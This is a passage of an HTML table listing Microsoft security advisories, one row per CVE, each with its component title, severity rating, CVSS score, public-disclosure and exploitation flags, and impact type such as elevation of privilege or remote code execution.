  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50486"><span>CVE-2026-50486</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50503"><span>CVE-2026-50503</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54125"><span>CVE-2026-54125</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58527"><span>CVE-2026-58527</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50373"><span>CVE-2026-50373</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50679"><span>CVE-2026-50679</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44806"><span>CVE-2026-44806</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50681"><span>CVE-2026-50681</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56186"><span>CVE-2026-56186</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50367"><span>CVE-2026-50367</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58619"><span>CVE-2026-58619</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50311"><span>CVE-2026-50311</span></a></td>
  <td width="256" class="xl74">Windows Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50328"><span>CVE-2026-50328</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58531"><span>CVE-2026-58531</span></a></td>
  <td width="256" class="xl74">Windows SMB Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54997"><span>CVE-2026-54997</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49801"><span>CVE-2026-49801</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50690"><span>CVE-2026-50690</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56168"><span>CVE-2026-56168</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50360"><span>CVE-2026-50360</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57089"><span>CVE-2026-57089</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50333"><span>CVE-2026-50333</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50298"><span>CVE-2026-50298</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49171"><span>CVE-2026-49171</span></a></td>
  <td width="256" class="xl74">Windows Speech Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49170"><span>CVE-2026-49170</span></a></td>
  <td width="256" class="xl74">Windows
  StateRepository API Server file Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58526"><span>CVE-2026-58526</span></a></td>
  <td width="256" class="xl74">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50299"><span>CVE-2026-50299</span></a></td>
  <td width="256" class="xl74">Windows Storage Spaces
  Direct Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57968"><span>CVE-2026-57968</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57973"><span>CVE-2026-57973</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50418"><span>CVE-2026-50418</span></a></td>
  <td width="256" class="xl74">Windows System Secure
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50306"><span>CVE-2026-50306</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50307"><span>CVE-2026-50307</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49177"><span>CVE-2026-49177</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50669"><span>CVE-2026-50669</span></a></td>
  <td width="256" class="xl74">Windows Telephony
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54124"><span>CVE-2026-54124</span></a></td>
  <td width="256" class="xl74">Windows Terminal
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50350"><span>CVE-2026-50350</span></a></td>
  <td width="256" class="xl74">Windows Trusted
  Runtime Interface Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50326"><span>CVE-2026-50326</span></a></td>
  <td width="256" class="xl74">Windows Unified
  Consent System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49790"><span>CVE-2026-49790</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50498"><span>CVE-2026-50498</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58547"><span>CVE-2026-58547</span></a></td>
  <td width="256" class="xl74">Windows Universal Plug
  and Play (UPnP) Device Host Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49794"><span>CVE-2026-49794</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50453"><span>CVE-2026-50453</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58528"><span>CVE-2026-58528</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50321"><span>CVE-2026-50321</span></a></td>
  <td width="256" class="xl74">Windows USB Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50479"><span>CVE-2026-50479</span></a></td>
  <td width="256" class="xl74">Windows USB Hub Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55000"><span>CVE-2026-55000</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54991"><span>CVE-2026-54991</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54996"><span>CVE-2026-54996</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49802"><span>CVE-2026-49802</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49806"><span>CVE-2026-49806</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50674"><span>CVE-2026-50674</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49804"><span>CVE-2026-49804</span></a></td>
  <td width="256" class="xl74">Windows USB Video
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50454"><span>CVE-2026-50454</span></a></td>
  <td width="256" class="xl74">Windows User Interface
  Core Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49176"><span>CVE-2026-49176</span></a></td>
  <td width="256" class="xl74">Windows WalletService
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49800"><span>CVE-2026-49800</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50480"><span>CVE-2026-50480</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56173"><span>CVE-2026-56173</span></a></td>
  <td width="256" class="xl74">Windows WebView
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58632"><span>CVE-2026-58632</span></a></td>
  <td width="256" class="xl74">Windows Win32 Kernel
  Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54107"><span>CVE-2026-54107</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54986"><span>CVE-2026-54986</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54112"><span>CVE-2026-54112</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54114"><span>CVE-2026-54114</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50670"><span>CVE-2026-50670</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50688"><span>CVE-2026-50688</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50687"><span>CVE-2026-50687</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56176"><span>CVE-2026-56176</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58628"><span>CVE-2026-58628</span></a></td>
  <td width="256" class="xl74">Windows Wireless
  Network Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50295"><span>CVE-2026-50295</span></a></td>
  <td width="256" class="xl74">Windows Zero Trust DNS
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50509"><span>CVE-2026-50509</span></a></td>
  <td width="256" class="xl74">Wireless Wide Area
  Network Service (WwanSvc) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55945"><span>CVE-2026-55945</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45488"><span>CVE-2026-45488</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45489"><span>CVE-2026-45489</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55145"><span>CVE-2026-55145</span></a></td>
  <td width="256" class="xl74">Outlook Copilot
  Tampering Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56181"><span>CVE-2026-56181</span></a></td>
  <td width="256" class="xl74">Windows Network
  Address Translation (NAT) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
